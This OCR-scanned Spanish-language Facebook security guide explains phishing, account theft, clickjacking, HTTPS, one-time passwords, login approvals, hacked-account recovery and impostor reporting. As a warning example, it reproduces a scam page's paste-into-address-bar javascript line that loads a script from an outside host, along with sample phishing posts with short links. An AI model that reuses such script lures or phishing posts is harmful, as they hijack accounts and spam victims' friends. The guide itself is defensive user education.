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Esta guia online explica como puede:
e Proteger su cuenta en Facebook
Evitar a los timadores
Usar la configuracion avanzada de seguridad

Recuperar una cuenta de Facebook hackeada
Poner coto a los impostores




S i hubo alguna duda respecto al increible poder de las redes sociales, considere que cada
dia 500 millones de personas comparten mas de mil millones de elementos de
contenidos. Facebook conecta aproximadamente a unos 500 millones de personas en més de
210 paises; realmente su poblacién mundial excede el tamafio de la mayoria de los paises
europeos, y cuenta entre sus miembros a ciudadanos de todos los continentes.
La gente tiene en Facebook muchas posibilidades, pueden hacer Amigos, chatear, compartir
actualizaciones de Estado, postear Comentarios, compartir Links, etiquetar Fotos, postear
Videos, unirse a Grupos, crear Paginas, disefiar Polls (encuestas), y jugar juntos usando
Aplicaciones. Usan Facebook para promover causas, intereses, e incluso asi mimos. Facebook
permite al mundo ser mas abierto y estar conectado dando a sus usuarios las herramientas
para interactuar y compartir de todas las formas imaginables. Parafraseando al superhéroe con
un gran poder implica una gran responsabilidad. Tal y como una ciudad marca sus aceras, y los
peatones miran ambos lados de la calle antes de cruzar, la seguridad en Facebook es una
responsabilidad compartida entre Facebook y las personas que utilizan su plataforma.
Esta guia aspira sobre todo a facilitarte ser duefio de tu propio espacio, comprender lo que esta
haciendo Facebook para que el sitio sea mas seguro y acometer las acciones que sean precisas
en este nuevo mundo digital para protegerte ati y tu cuenta. Pese a que la protagonista de esta
guia es Facebook, las lecciones que aqui mostramos pueden aplicarse a cualquier pagina web
que visites en la red. A lo largo de esta guia, haremos hincapié en las herramientas exclusivas
que Facebook proporciona, de modo que puedas sacar provecho de su poder protegiendo tu
cuenta, utilizando la configuracion avanzada de seguridad, recuperando cuentas de Facebook
hackeadas, y poner coto a los impostores.
Ademas de todo esto, queremos que adopte el lema: Parate. Piensa. Conéctate. Facebook
tiene mucho que ofrecer a la gente, y con un poco de sentido comun podréa sentirse seguro 'y a
salvo. Esperamos que esta guia te sea Util. Por favor, Unase a la conversacion visitando la
Pagina de Seguridad de Facebook en www.facebook.com/security.



Protege tu cuenta de Facebook

Eres la primera linea de defensa a la hora de proteger tu cuenta. Puedes tomar el
control de tu proteccion utilizando una contrasefia segura, sacando partido a la
configuracion avanzada de seguridad que proporciona autenticacion, asi como
comunicaciones seguras, Y asegurandote de que cierras la sesion cuando te desconectas.

Uso de las contrasefas adecuadas

Utilizar la contrasefia adecuada es algo que deberias hacer cada vez que visites Internet,
no solo Facebook. Crear la contrasefia adecuada es realmente sencillo. Tendras que ser
suficientemente compleja para que no pueda adivinarse, pero con suficiente sentido
como para recordarla realmente.

¢ Tienes una contrasefa segura?

No la uses para TODAS tus cuentas.

No la compartas con amigos.

Cambiala periddicamente.

Considera su almacenaje en una herramienta de contrasefias.

Una contrasefia adecuada tiene al menos ocho caracteres, uno 0 mas numeros, y al
menos un caracter especial. No utilice palabras pero asociela a una. Imagine que el
nombre de su mascota es Buddy, usted vive en la calle State, tiene quince afios, y le
encanta mirar las estrellas por la noche. Una contrasefia segura podria ser budstatl5*. O
busqué algo gracioso que pueda recordar. Una mujer eligi6 como contrasefia en el
trabajo una que la recordaba porqué iba a trabajar 4da$cash

¢No puedes recordar tantos detalles? usa una herramienta de contrasefias. Muchos
navegadores integran actualmente cajas fuertes para contrasefias. Si el tuyo no la tiene
considera utilizar una herramienta gratuita como “KeePass Password Safe”
(http://keepass.info/). Y, si se da el caso de que aun asi la olvides, asegurate de afiadir
una pregunta de seguridad y tu nimero de moévil en CONFIGURACION DE
CUENTA de tu cuenta en Facebook.

Cerrar la sesion de Facebook

Cerrar la sesion en Facebook cuando no se use es una forma sencilla y eficaz de proteger
tu cuenta. Mucha gente cree que si cierra la pagina web o sale del navegador también
cierra la sesion en Facebook. No es asi. La siguiente persona que vaya a Facebook.com
en tu ordenador se sorprendera ya conectado a tu cuenta. Cerrar la sesion es esencial
cuando accedas a Facebook fuera de casa.

Pero, también es importante si en casa compartes el ordenador. Pregunteselo a Nathan,
un chico de 16 afios que dejo su cuenta de Facebook conectada en el ordenador familiar.
Durante un entrenamiento de futbol, su hermana dejo plantada a su novia como si fuera
él cambiando el estado de su relacion en Facebook a SOLTERO. Desde entonces,
siempre tiene cuidado de desconectarse de Facebook cuando sale de casa. Y recuerda,
que si olvidas cerrar la sesion activa, siempre puedes cerrar la sesién de modo remoto



desde la seccion SEGURIDAD DE LA CUENTA de la pagina de
CONFIGURACION DE CUENTA.

Pon coto a los timadores

Es humano evitar el peligro. Si ves que un piano te cae encima, automaticamente te quitas de
debajo. Si ves un correo de un timador, vas a borrarlo e informar de que es spam. En
Facebook, identificar a los timadores es mas complicado dado que los mensajes parecen provenir
de una persona que conoces Yy en la que confias. Luego, ¢como descubrir una impostura en
Facebook? Permitenos empezar con una breve introduccion.

Los timadores en Internet tienden a cambiar de objetivos. Al principio, los objetivos obvios de los
timadores eran los adjuntos de correos de personas desconocidas. Entonces vinieron las alertas de
seguridad de bancos o emisores de tarjetas. Hoy, puede ser también una actualizacion de Estado
de un Amigo que te pide que veas un nuevo video o visitar una pagina web estupenda.

Timadores convencionales

Los timadores atacan a Facebook por la misma razén que al resto de la Red, quieren acceder a ta
informacidn, a tu ordenador o a tu dinero. Y algunas veces desean engariarte haciéndote descargar
en tu ordenador programas maliciosos. Lo dificil es reconocer a los phishers, ladrones de cuentas
y traficantes de programas maliciosos.

Los phishers roban la informacion personal, a menudo los datos necesarios para cometer estafas o
suplantar la identidad. ElI Phishing es un intento de engafiar a los usuarios para que revelen
informacion personal o datos financieros. Ya has visto timos en tu correo electronico. En
Facebook, los phishers pueden intentar timarte desde multiples lugares en post de Estado de tu
perfil, en mensajes de Facebook, y en el chat de Facebook. Incluso pueden remitir correos
periédicamente fingiendo ser Facebook o un popular App como Farmville o Mafia Wars.

Los ladrones de cuentas intentan engafiarte para que te conectes a una pagina falsa de Facebook para
sustraerte tu nombre de usuario y contrasefia. Por este motivo siempre debes comprobar la barra de
direcciones de tu navegador para asegurarte de que estas en Facebook y no en alguna otra pagina
no relacionada.

¢Para qué querria alguien tu cuenta en Facebook? Esperan acceder a otras cuentas usando tu
contrasefia. Podrian querer vender tu informacion, o timar a tus Amigos. La gente es mas
propensa a caer en un timo cuando viene de alguien en quien confia, como un Amigo.

Los traficantes de programas maliciosos buscan instalar programas informaticos perjudiciales en
tu ordenador. Dichos programas maliciosos, llamados malware, estan disefiados para dafiar tu
ordenador o robar informacion de caracter personal. Dicho malware puede hacer muchas cosas
desagradables. Puede instalar programas espias (spyware) para registrar que teclas pulsas vy
recopilar tus nimeros y contrasefias de cuentas financieras. O incluso bloquear tu ordenador y pedir
un rescate. (Coémo seleccionan los traficantes de malware a los usuarios de Facebook? Se te
ofrecera descargar e instalar nuevos programas en tu ordenador. Puede ser un nuevo juego, un
organizador de fotografias digitales, un reproductor musical digital, o cualquier otro programa
informatico de utilidad. Antes de descargar ninguin programa “‘gratuito”, preguntate siempre quien
lo ha hecho y porqué puede ser gratuito. Ante la duda, no lo descargues. Eres la primera linea de
defensa contra el malware. jPiensa antes de hacer clic!
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Timadores que eligen Facebook

Ademés de los timadores vulgares y corrientes que se encuentran por doquier en Internet,

hay diversos timos que eligen las redes sociales y a los usuarios de  Facebook. Estos
incluyen timos mediante aplicaciones de Juegos, timos que explotan la vanidad personal,
robos de cuentas de Facebook, timos con scripts maliciosos, y Clickjackers (ladrones de
clics).

Burlar los timos de juego

Cuando hablamos de timos mediante aplicaciones de Juegos, no queremos decir que las
compafiias de aplicaciones (Apps) le timen. Son realmente més una victima, como los
usuarios de Facebook que caen en la trampa. Si juegas en la red, ya sabes que tienes que
tener cuidado para no caer en los timos de juego. Ya has visto ofertas engafiosas y piratas.
Muchas de ellas que prometen convertirte en un gran jugador estan disefiadas en realidad
para robar tu informacion personal.

John Doe “% % % ” Hey Friends, Get Your Free Unlimited Frontierville Horseshoes Now, Over 49000
people have claimed theirs, don’t miss out! http://bit.ly/xhshoes

about an hour ago « Comment -« Like - Report

Muchos timos de phishing fingen proceder de populares paginas web de juegos. El peligro no esta
en utilizar aplicaciones conocidas de terceros como Frontierville, sino dejarse engafiar por
phishers que supuestamente ofrecen puntos o claves para juegos. Los timos mas comunes ofrecen
premios como objetos virtuales gratis. Otros cebos te comunican que tu cuenta ha sido anulada y
proporcionan un link para solucionar el problema. Alguno de estos timos llegaran a tu Muro, pero
muchos llegaran directamente a tu correo electronico. ¢Por qué? Nimeros. Farmville cuenta con
unos 16 millones de jugadores. Cualquier spammer que ataque a una extensa lista de correos
electronicos con un cebo para phising esta destinado a atrapar un buen nimero de jugadores de
Farmville sencillamente porqué hay muchos jugadores de Farmville.

Jack Doe OMG! IT’S REAL - THEY JUST SEND ME 1 M
CHIPS FOR FREE - CHECK IT QUT -->> http://tinyurl.com/3x546
YOU GOT NOTHING TO LOSE !!

2 minutes ago « Like « Flag

También puedes ver post como el anterior en el Muro. Si haces clic en el enlace te
dirigiran a una pagina web falsa de acceso a Facebook . Al intentar acceder a Facebook
a través de la pagina falsa, estas proporcionando directamente tu contrasefia al timador.



¢ Como puedes saber que es un timo mediante phishing? Facebook nunca te dirigira a la
pagina principal una vez que hayas iniciado tu sesion.

Facebook nunca te dirige a la pagina principal si ya has iniciado la sesion.

Este timador también utiliza en el anterior ataque un servicio de vinculos abreviados.
Pese a que los servicios de vinculos abreviados son de gran utilidad dado que
simplifican las URL muy largas, lo malo es que desconoces a donde te llevan hasta que
haces clic. Sé muy cuidadoso a la hora de hacer clic sobre esta clase de vinculos
abreviados.

Evitar a los ladrones de cuentas de Facebook

Cuando se roba una cuenta de Facebook, suele ser debido a que la victima ha picado el
anzuelo y ha utilizado una pagina falsa de acceso a Facebook .

¢Como te hacen picar los timadores? Los timadores intentan pillarte con la guardia baja
y te golpean con una pégina falsa de acceso de Facebook cuando realmente YA estas
utilizando Facebook. El timador puede postear una actualizacion de Estado en tu Muro
que incluya un vinculo a algo tentador. Lo pueden hacer mediante una cuenta que hayan
robado de uno de tus Amigos para ganarse tu confianza. EI mensaje sera algo que
llamard tu atencidn. Pueden ser fotos escandalosas, una primicia de una proxima
pelicula picante o un video raro. Cuando haces clic en el vinculo, te piden que inicies
de nuevo la sesion en Facebook, salvo que ya no estés en Facebook. El vinculo te remite
realmente a una pagina web diferente, de forma que cuando vuelves a acceder a
Facebook con tu usuario y contrasefia se los estas dando a un timador.

Ademéas de otros timos cuyos correos electronicos que son realmente horrorosos y
escritos en un pésimo inglés, la mayoria de las paginas de acceso falsas de Facebook
son bastante creibles.

file Edit View Higtory Bookmarks Tools Help
v c /,-} Q http://www.facbook.

£, Most Visited | | Getting Started 3, Latest Headlines 3, Facebook Blog

Search @ - Cards & Logins ~

[Ed Welcome to Facebook - Log In, Sign ... |

facebook

Done

La anterior pagina falsa de acceso se reconoce porqué falta una e de Facebook (se ve Fachbook) en la
barra de direcciones. Este es un timo muy cuidado dado que la gente, al leer, introduce sin darse
cuenta las vocales que faltan en una palabra.

¢COmMO evito engarios tan sutiles como éste? Recuerda que Facebook nunca contactara enviandote
un mensaje de Facebook o posteando un mensaje de Estado en tu Muro y, comprueba SIEMPRE
cuidadosamente el vinculo en la barra de direcciones y los vinculos sobre los que hace clic. Ante la
duda NO HAGAS CLIC. Si Facebook contacta contigo, sera a través del correo electronico
ordinario que proporcionaste cuando abriste tu cuenta de Facebook.

Comprueba siempre el vinculo y NO HAGAS CLIC si parece sospechoso.



Ademas, recuerda que Facebook s6lo necesita que te registres para acceder una vez
en cada sesion. Si te lo piden de nuevo NO es Facebook.

Evitar los timos mediante scripts maliciosos

Los timos con scripts maliciosos son uno de los ataques furtivos mas empleados contra
los usuarios de Facebook. Uno de los métodos de ataque mas comunes consiste en
hacerte creer que puedes ver quien estd mirando tu perfil. Este tentador timo intenta
engafarte y hacer que pegues un texto en la barra de direcciones de tu navegador.

Follow the steps below to see who has been stalking your proile.

~Use Our Unique Code To Reveal Who Has Been Stalking You!
~Follow The Simple Steps Below To Use Profile Peeker v2.0.

Step 1 - Copy This Script:
Just Click In the Box To Highlight All Then Copy The Code

javascript:(a=(b=document).createElement( 'script’)).src="//up~
club.com/inet.php’,b.body.appendChild(a);void(0)

Just Click In the Box To Highlight All Then Copy The Code
Step 2:

Click Here To Visit Facebook.Com
Paste The Code Into Your Browser's Address Bar. Then Hit Enter!

/2 Facebook - Windows Internet Explorer -
——
@ v ¢ X |e DEErmEE ="/ foje.3s',b.bodyiez caiChid(a):void(0)

| Ele Edit Yew Favodites Jools Hep

facebook

=document).ceateSlement('sc

El “codigo tnico” que se muestra arriba es el script malicioso. Mientras que esperas
pacientemente segun las instrucciones, el script esta configurando tu perfil para mandar
spam a todos sus Amigos.

Como respuesta para detectar estos ataques, Facebook afiadié comprobaciones para
ayudar a detectar scripts que se pegan en la barra de direcciones. Asi, si se pega un
script en la barra de direcciones, Facebook te pedira que confirmes que realmente
deseas pegar dicho script, e incluso te informard de que es una mala idea. Presta
atencion a dichos avisos.

No pegues un script en la barra de direcciones salvo que sepas exactamente que
hace y cémo.

¢Coémo evitar timos mediante scripts maliciosos? No pegues un script en la barra de
direcciones salvo que sepas exactamente qué hace y cémo lo hace. Avisa también a tus
Amigos si empiezas a recibir spam de ellos. Tus Amigos pueden desconocer
completamente que sus cuentas de Facebook han sido hackeadas. Comunicaselo para
que cambien sus contrasefias y recuperaren sus cuentas hackeadas si lo precisan. (Lee
mas adelante cdmo recuperar una cuenta hackeada.)

Evita el clickjacking (secuestro de clics)

El clickjacking es una técnica utilizada por los atacantes para engafiar a los usuarios
para que hagan clic en sus enlaces o botones ocultos a la vista. El clickjacking es
posible debido a un fallo de seguridad en los navegadores que permiten a las paginas
web ocultarse por capas y no ser vistas. Crees que estas haciendo clic en un botén



normal, como el boton PLAY de un video raro, pero en realidad estas haciendo clic en
un vinculo oculto. Dado que no puedes ver el vinculo oculto del clickjacker, no tienes ni
idea de lo que realmente hace. Puedes estar descargando malware o haciendo que toda
tu informacidn en Facebook se vuelva publica sin percatarte de ello.

Una forma de clickjacking es esconder un boton LIKE (me gusta) bajo un boton
aparentemente inocente. Es lo que se denomina un Likejacking. Un timador puede
engafarte haciéndote decir que te gusta un producto del que nunca has oido hablar en un
solapado intento de crear un aviso de marketing viral. A primera vista, likejacking
parece mas molesto que peligroso, pero no siempre es cierto. Si te engafian para decir
que te gusta Justin Bieber, no se va a acabar el mundo, pero puedes estar colaborando a
propagar spam o enviando a tus Amigos a algun sitio que posiblemente contiene
malware.

¢Como puedes evitar que te pinchen? Tecnologicamente, puedes minimizar los riesgos
manteniendo al dia las actualizaciones de tu navegador. Los navegadores afiaden
continuamente actualizaciones para cerrar vulnerabilidades que permiten operar a los
clickjackers y otros timadores. Si utilizas Firefox, considera instalar también el
complemento NoScript. Ademas, presta atencién a lo que coges y de quien.
¢Compartiria realmente un profesor de facultad un post para ver videos de camara
oculta? Si un post de uno de tus Amigos te parece sospechoso, jno hagas clic en él!

Un post sospechoso puede ser sintoma de que la cuenta de Facebook de tu Amigo ha
sido secuestrada o que a tu Amigo le han clickjackeado a LIKE (me gusta) o SHARE
(compartir) sin saberlo. Si conoces a tus Amigos, sabes lo que realmente marcarian
como LIKE o SHARE. Por eso tu mejor proteccion contra los timos es no confirmar
peticiones de Amigos de gente a la que realmente no conoces.

Otra gran herramienta para ayudarte a evitar el clickjacking es Web of Trust (WOT)
[Pagina web de confianza]. WOT es una herramienta gratuita para el navegador que
mantiene una base de datos de reconocidos sitios web seguros, asi como de webs
consideradas maliciosas por la comunidad WOT. Si intentas visitar una web que se sabe
es maliciosa WOT te avisard de antemano. La descarga de WOT es facil de instalar,
solo tienes que visitar www.mywot.com.

Consejos de seguridad

» Mantén tus programas actualizados.

* No hagas clic en vinculos sospechosos.

* Usa las herramientas de seguridad disponibles.

Facebook también efectla comprobaciones para detectar paginas web maliciosas o que
envian spam. Si aflades WOT a las comprobaciones que efectia Facebook consigues
una herramienta mas para tu arsenal contra los hackers. Ambas comprobaciones
trabajan juntas proporcionando un sistema de alerta conjunto si intentas visitar una web
de la que se ha informado contiene malware, phishing, o spam:


http://www.mywot.com/

& Sorry

The link you are trying to visit has been classified as potentially abusive by Facebook partners.
To learn more about staying safe on the Internet, visit our Facebook’s Security Page. Please also
read the Wikipedia articles on malware and phishing.

wg  Website reported for spam, malware, phishing or other abuse
wesorTrust  This warning is provided in collaboration with Web of Trust. Learn More

Ignore this warning Return to previous page
Clickjacking

Uso de la Configuracion de Seguridad
avanzada

acebook adopta ciertas de medidas entre bastidores para mantener la seguridad

del sitio web. Facebook también proporciona herramienta que la gente puede usar

para proteger sus cuentas y reputacion en la web. Dichas herramientas incluyen
opciones de navegacion segura, contrasefias de un solo uso, inicio Unico de sesion,
posibilidad de supervisar las actividades de la cuenta, aprobacion de contrasefias, la
posibilidad de dar por finalizada la sesion de la cuenta de modo remoto, y autenticacion
social.

Uso de la navegacion segura

La navegacion segura te permite usar Facebook con seguridad en puntos de conexion
publicos. Cuando compras en Internet, tu navegador utiliza una encriptacion muy sélida
para transmitir los datos. La encriptacion es una técnica que se usa para cifrar la
informacion y que nadie mas pueda verla.

El protocolo SSL encripta la transmision de los datos y se le denomina https o
navegacion segura.

La navegacién segura es una configuracion avanzada en Facebook que puedes
personalizar. Al usar https para conectarte a Facebook suceden varias cosas importantes.
Primero, en una red inalambrica abierta, impide que los atacantes roben tu conexién de
red a Facebook o husmeen en tu comunicacion. También hace uso de un certificado de
verificacion para garantizar que si tu navegador dice que estd conectado a Facebook,
estés realmente conectado a Facebook y no una pagina impostora que finge ser
Facebook.

Para activar https, vaya a la seccion SEGURIDAD DE LA CUENTA de la
CONFIGURACION DE CUENTA de tu Facebook y selecciona: NAVEGA EN



FACEBOOK SIEMPRE QUE SEA POSIBLE MEDIANTE UNA CONEXION
SEGURA (HTTPS).

¢ Como puedes saber que el protocolo https estd en uso? Cuando SSL esté en uso, sabras
que ta comunicacién entre paginas web es segura porque verds un “https” al comienzo
de la URL. También veras un candado. Busca el icono del candado en tu navegador, y si
lo ves, entonces tu configuracion de navegacion segura esta activada.

€  https://www .facebook.com >~ 5 ’ A ’ 4y ’ X 'l

Utilizacion de contrasefas de un solo uso

Siempre hay un pequefio riesgo cuando accedes a tu cuenta de Facebook desde un
ordenador que no es de tu propiedad. Nunca sabras realmente donde habré estado ese
ordenador. Puede estar infectado con un programa de registro de pulsaciones de teclado
que puede registrar todos tus movimientos, incluida la contrasefia de tu cuenta en
Facebook. No puedes impedirlo, pero puedes asegurarte de que la contrasefia robada no
va ha funcionar al usar contrasefias de un solo uso.

Para usar una contrasefia de un solo uso, primero necesitas estar registrado y verificar tu
teléfono mavil con Facebook. Una vez hecho esto, puedes conseguir una contrasefia de
un solo uso mandando el mensaje “otp” (por ‘“one-time password” que significa
“contrasefia de un solo uso”) al 32665 (FBOOK). Facebook te enviard un mensaje de
texto con una contrasefia temporal que puedes usar para acceder a tu cuenta de
Facebook en vez de usar tu contrasefia habitual. Si consiguen esa contrasefia, no importa
porque solo funciona una vez, mejor dicho so6lo durante 20 minutos. Es una buena idea
utilizar una contrasefia de un solo uso si utilizas el ordenador de otra persona.

Uso del inicio Unico de sesion

Uno de los pasos méas importantes para proteger tu informacion es tener una contrasefia
diferente para cada cuenta que tengas. Por supuesto, recordar todas las contrasefias es
dificil. Facebook ha abierto su sistema de cuentas de usuario a otras paginas web para su
uso. Eso quiere decir que puedes utilizar tu cuenta de Facebook para acceder a otras
paginas web que admitan acceso a través de Facebook. La primera vez que uses tu
acceso a Facebook desde una nueva pagina web, Facebook te pedira permiso para
compartir tu informacion con esa pagina web. Si lo permites, la pagina web puede
cargarse automaticamente al reconocer que ya has accedido a Facebook, lo cual es una
gran ventaja. Cuantas méas paginas web permitas que reconozcan tu acceso registrado a
Facebook menos nombres de usuarios y contrasefias tendras que recordar.

Supervisar la actividad de la cuenta

Cuando accedes a tu cuenta, Facebook reconoce tu ordenador o teléfono mdévil. Si
quieres, Facebook puede decirte cuando ha accedido alguien a tu cuenta desde otro sitio.
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En la seccion SEGURIDAD DE LA CUENTA de tu CONFIGURACION DE
CUENTA puedes usar la NOTIFICACIONES DE ACCESO para pedir a Facebook
que te envie un correo electrénico si un ordenador o dispositivo mavil distinto accede a
tu cuenta. Si el nuevo acceso no es tuyo, sigue el vinculo del correo electrénico para
expulsar al intruso. Si lo prefieres, puedes hacer que Facebook te envie un SMS en vez
de un correo electronico.

Puedes incluso expulsar al intruso tu mismo. En la seccion SEGURIDAD DE LA
CUENTA de tu CONFIGURACION DE CUENTA encontraras la lista de
ordenadores asociados a tu cuenta y con la actividad de la misma. Si en la lista hay
ordenadores que ya no utilizas o que no has utilizado nunca, puedes borrarlos. En la
seccion ACTIVIDAD DE LA CUENTA, puedes encontrar la actividad mas reciente y
otras sesiones activas. Si alguna de ellas pareciese sospechosa, haz clic en
FINALIZAR ACTIVIDAD, cerrando asi la sesion inmediatamente.

Otra estupenda caracteristica de seguridad es la APROBACION DE ACCESOS. Si
tienes un teléfono movil, Facebook puede enviarte un mensaje de texto con un cddigo
unico para usarlo cuando accedas a Facebook desde un ordenador diferente. Si lo tienes
activado, se te pedira que introduzcas un codigo que recibiras a través de un mensaje de
texto cuando intentes acceder. ES una caracteristica estupenda que aporta otro nivel de
seguridad para aquellos que acceden a Facebook desde localizaciones remotas.
Asegurate de tener tu movil y ve a la seccion SEGURIDAD DE LA CUENTA de tu
CONFIGURACION DE CUENTA para personalizarla. Una vez introducidas dichas
configuraciones, la siguiente vez que accedas desde un ordenador distinto te enviaran a
tu mévil un mensaje de texto con el codigo de aprobacion. A continuacidn puedes ver la
pantalla de Facebook que te pide que introduzcas dicho codigo.

Enter Security Code

We don’t recognize the device you're using.

Please check your text message at 1 555.220.8865 and enter the security code below.

| can’t get my code m

Uso de la autenticacion social

Cuando una pagina web desea impedir a un programa automatico que registre una serie
de cuentas falsas, le pide que haga algo que sélo puede hacer un ser humano. Suelen ser
a menudo un test que implica la resolucion de un sencillo problema matematico,
responder a una pregunta fécil, o teclear una serie de letras y nimeros de una imagen.
Esas imagenes con palabras raras son un CAPTCHA (Completely Automated Public
Turing test to tell Computers and Humans Apart) o Prueba de Turing publica y
automatica para diferenciar maquinas y humanos. Estas sencillas imagenes impiden que
los atacantes utilicen software para crear muchas cuentas que envien spam o sefiuelos de
phishing a gran escala.

Facebook utiliza una prueba similar denominada Autenticacion Social cuando Facebook
detecta que tu cuenta esta en uso pero cree que el usuario puedes no ser tu. Por ejemplo,
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si vives en Indiana y se accede a tu cuenta desde la India, Facebook empieza a
sospechar.

¢Por qué Autenticacion Social? Para empezar, Facebook ES una red social, Y lo que es
mas importante, Facebook buscaba una forma sencilla para identificarte que no se viese
comprometida si la cuenta si lo estuviese. Obviamente, si alguien mas esta usando tu
cuenta realmente, bien puede haber adivinado o robado tu contrasefia de forma que
preguntar directamente por ello no ayudaria en modo alguno.

¢ Conoces a todos tus Amigos?

Facebook supone que si. Si accedes desde un lugar extrafio, como cuando estas de
vacaciones en Europa, Facebook comprueba tu identidad haciéndote identificar a tus
Amigos en las fotografias etiquetadas.

Aqui es donde entran tus Amigos. Si Facebook sospecha que alguien méas esta
intentando utilizar tu cuenta, te pediran que identifiques a tus Amigos. Literalmente.
Facebook crea una serie de imagenes a partir de tu lista de Amigos y las coloca como un
examen con respuestas multiples . Cada foto tiene una lista de nombres, tienes que
seleccionar el nombre que coincide con el nombre del Amigo etiquetado en dicha foto.
Dado que es poco probable que un timador pueda reconocer a simple vista a tus
Amigos, ésta es una buena prueba.

Recuperacion de una cuenta de
Facebook hackeada

ay cierto nimero de sintomas que pueden indicar que tu cuenta de Facebook ha sido
Hhackeada. Puedes notar actualizaciones de Estado que no has posteado o recibir

contestaciones a mensajes de Facebook que no has enviado. Esto podria significar que
tu cuenta ha sido hackeada. Cambia inmediatamente tu contraseia y asegurate de que usas de
las configuraciones de seguridad avanzadas.

Otro indicio de que tu cuenta ha sido hackeada es que no puedas acceder a ella. Esto sucede
cuando el timador que ha hackeado la cuenta ha cambiado tu contrasena. No puedes volver a
cambiarla porque ya no sabes cual es. Algunos timadores incluso cambian la informacion
personal de modo que no puedes verificar quién eres.

El equipo de Facebook se dedica a ayudarte a proteger tu cuenta. Facebook ha construido
sistemas que buscan y bloquean actividades sospechosas, posts y mensajes falsos. Facebook
también cuenta con un proceso bien definido si te roban la cuenta para ayudarte a expulsar al
timador y recuperarla.

Si tu cuenta se ha visto comprometida, ve a http://www.Facebook.com/hacked y selecciona
PROTEGE TU CUENTA.
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http://www.facebook.com/hacked

Step 1 Step 2 Step 2 Step 4
Change Password Email Password Review Changes Unlock Account

/1. Please Complete This Security Check

Denise, thanks for reporting this problem with your account. We’ve temporarily locked your account so no one else can log
in as you.

To regain control of your information, please complete this quick security check.

Tan pronto lo comuniques, Facebook bloqueara tu cuenta, tu no podrés utilizarla aun pero el
timador tampoco. Facebook te pedira entonces: POR FAVOR, COMPLETE ESTA
COMPROBACION DE SEGURIDAD para desbloquear tu cuenta.

Facebook te lo pone facil, simplemente sigue el proceso de cuatro pasos para reclamar tu
cuenta.

Una vez que hayas recuperado tu cuenta, asegurate de configurar las Caracteristicas de
seguridad avanzadas para afadir una capa de seguridad adicional a tu cuenta. Concretamente,
asegurate de activar la navegacion segura (https) y establecer las notificaciones de acceso; asi
Facebook te hara saber inmediatamente si se ha accedido a tu cuenta.

Pon coto a los impostores

s muy triste que una buena cuenta funcione mal porque la han robado. Resulta

desagradable cuando una cuenta se INICIA mal porque se cred para acosar, avergonzar

o intimidar a alguien. Esto es lo que hace la cuenta de un impostor, cuando alguien finge
SER tu creando una pagina en Facebook. Las paginas de los impostores se crean para acosar o
intimidar a la persona por la que se hacen pasar. Si ves la pagina de un impostor, comunicalo
inmediatamente Facebook.

El vinculo a INFORMAR/ BLOQUEAR ESTA PERSONA esta disponible en la parte
inferior izquierda de todos los perfiles de Facebook.

Puedes informar sobre gente que se esta haciendo pasar por ti o un Amigo. Puedes también
usar este vinculo para informar de personas falsas, negocios que pretenden ser personas y
grupos de odio ocultos bajo la apariencia de personas.

13



0x (14) - Yahoo! Mail & Ve-hate Slovaloens (17) X M B ~ 0 o v Page

facebook

We-hate Slovakians | Addas Friend | % Send Message |

B w.
& What You Can Do

) nfo Please select one of the following options:
This is my profile, but I no longer have access to it

Share Profie
! This profie &5 pretending to be someone or is fake

BeportBiock The Persod
Inappropiate profile photo
Inappropriate peofile nformation
# Fage * Developers - Careers * Privacy * Terms * Help
This person is bullying or harassing me
Select the option below if you would lke to block this person:
Block We-hate Slovakians
Boding means you won't be able to see or contact each other on Facebook

Is thes your intelectual property? Continue JeTTEL

Confirm Report

Learn more about how to handle harassment in our Safety Center.

You are about to report that We-hate Slovakians
does not represent a real person.

We take fake profile reports seriously. Please only proceed if
this information is factual to the best of your knowledge.

I confirm that this report is correct

Si informas sobre una persona falsa o informacion inapropiada, no necesitas hacer mas.
Facebook te agradecera que informes del problema y luego investigard tu queja y cerrara la
cuenta si procede.

Si informas sobre un impostor o un caso de ciberacoso, hay un paso mas. Dado que una forma
de acosar a la gente en Facebook ha sido acusarles falsamente de acoso, Facebook no hara
nada hasta que proporciones un nimero de teléfono valido. Aparentemente, a los acosadores
no les gusta dar sus nimeros de teléfono. Una vez que hayas proporcionado un ntimero de
teléfono valido, Facebook enviara un codigo a tu teléfono que deberas introducir para
confirmar tu queja antes de investigarla.
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Un futuro mas seguro

os riesgos para la seguridad cambian constantemente. ;Recuerdas las “stalker Apps”

(aplicaciones acosadoras que prometen mostrarte quien esta viendo tu perfil) que

engafiaron a todos el afio pasado? ;Y los vinculos que prometen fotos graciosas editadas
tuyas o de imagenes en las que estas etiquetado de este afilo? Por supuesto que ninguna de estas
fotos existio, pero el tentador vinculo se envi6 para intentar pillar al usuario con la guardia baja.
Continuamente surgen nuevas amenazas.

El riesgo de hoy puede estar anticuado mafana. El truco es reconocer los riesgos futuros
cuando se presenten. Los equipos de seguridad de Facebook trabajan duro para protegerte, pero
tu tienes que participar en mantener a salvo tu cuenta. Para aprender mas sobre seguridad y
recibir posts sobre amenazas y nuevas caracteristicas de seguridad de Facebook, comprueba
las paginas de seguridad de Facebook (FACEBOOK SECURITY y FACEBOOK SAFETY).

facebook =

Facebook Security | Lk |

Internet/Software

@[ )

STOP THINK | CONNECT
Security Quiz

facebook

Security

Making the Internet safer and more secure requires us all to be vigilant and to learn the
skills necessary to protect ourselves.

B3 wall
E] info Facebook worked with the National Cyber Security Alliance, the Anti-Phishing Working
PEY Take Action Group, and the Stop. Think. Connect. public awareness campaign on this security quiz
Threats Do your part by taking the quiz and testing your knowledge. Once you're done, posta
Software badge to your Wall and share tips with your friends so they can be more secure as well
White Hats e
= z Take The Quiz!

Security Quiz

Security Tips

More v ’ D

u fo i

About © 2axistegutngen
Like this Page to receive updates m

about how to protect your
information bot...

More
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Los mejores trucos para mantenerte a
salvo en Facebook

* Haz s6lo Amigo a quien conozcas.

* Crea una buena contrasefa y usala solo para Facebook.
* No compartas tu contraseia.

» Cambia periddicamente tu contrasefia.

* Comparte tu informacion personal so6lo con las personas y empresas que lo
necesites.

» Accede a Facebook s6lo UNA VEZ cada sesidén. Si parece que Facebook te pide
que inicies la sesion por segunda vez, haz caso omiso de los vinculos y teclea
directamente www.facebook.com en la barra de direcciones de tu navegador.

* Cuando utilices el ordenador de otra persona usa una contrasefia de un solo uso.
* Cierra la sesion de Facebook después de usar un ordenador que no sea tuyo.

* Haz uso de la navegacion segura siempre que te sea posible.

» Descarga Apps solo de paginas de confianza.

* Mantén actualizado tu antivirus.

* Mantén tu navegador y demas aplicaciones actualizadas.

* No pegues scripts (c6digo) en la barra de direcciones de tu navegador.

» Usa complementos para tu navegador como “Web of Trust” y “NoScript” de
